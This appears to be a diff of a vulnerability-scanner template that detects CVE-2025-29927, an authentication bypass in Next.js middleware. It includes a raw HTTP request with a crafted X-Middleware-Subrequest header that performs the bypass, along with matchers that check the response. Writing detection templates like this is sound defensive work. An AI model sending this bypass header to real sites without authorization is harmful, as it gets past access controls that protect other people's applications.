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58 changes: 42 additions & 16 deletions http/cves/2025/CVE-2025-29927.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -21,37 +21,64 @@ info:
cwe-id: CWE-287
metadata:
max-request: 1
shodan-query: x-middleware-rewrite
fofa-query: x-middleware-rewrite
shodan-query: "x-middleware-rewrite"
fofa-query: "x-middleware-rewrite"
product: next.js
vendor: zeit
tags: cve,cve2025,nextjs,middleware,auth-bypass

flow: |
http(1)
http(1) && http(2)
http(3)
for(let endpoint_urls of iterate(template.endpoints)){
set("endpoints", endpoint_urls)
http(2) && http(3)
http(4) && http(5)
}

http:
- method: GET
path:
- "{{BaseURL}}"
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
X-Nextjs-Data: 1

matchers-condition: and
matchers:
- type: word
part: body
words:
- "_next/static"
- type: regex
part: header
regex:
- "(?i)x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite"
internal: true

- type: word
part: header
words:
- "Next.js"
- type: status
status:
- 307
internal: true

extractors:
- type: regex
name: redirect_path
part: header
regex:
- "(?i)(x-nextjs-redirect|x-middleware-rewrite|x-nextjs-rewrite): (.*)"

- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
X-Nextjs-Data: 1
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware

matchers:
- type: status
status:
- 200

- method: GET
path:
- "{{BaseURL}}"

redirects: true
extractors:
- type: regex
name: endpoints
Expand Down Expand Up @@ -82,4 +109,3 @@ http:
- type: dsl
dsl:
- status_code == 200
# digest: 4a0a0047304502204bad92f37a1147138cc997530e747d57d21b21df208ac7c42ebbe46507504991022100913a3bb7b20461641ab2e4ea00b58b13c6926e1c828c9ba8453d56bb52b523d9:922c64590222798bb761d5b6d8e72950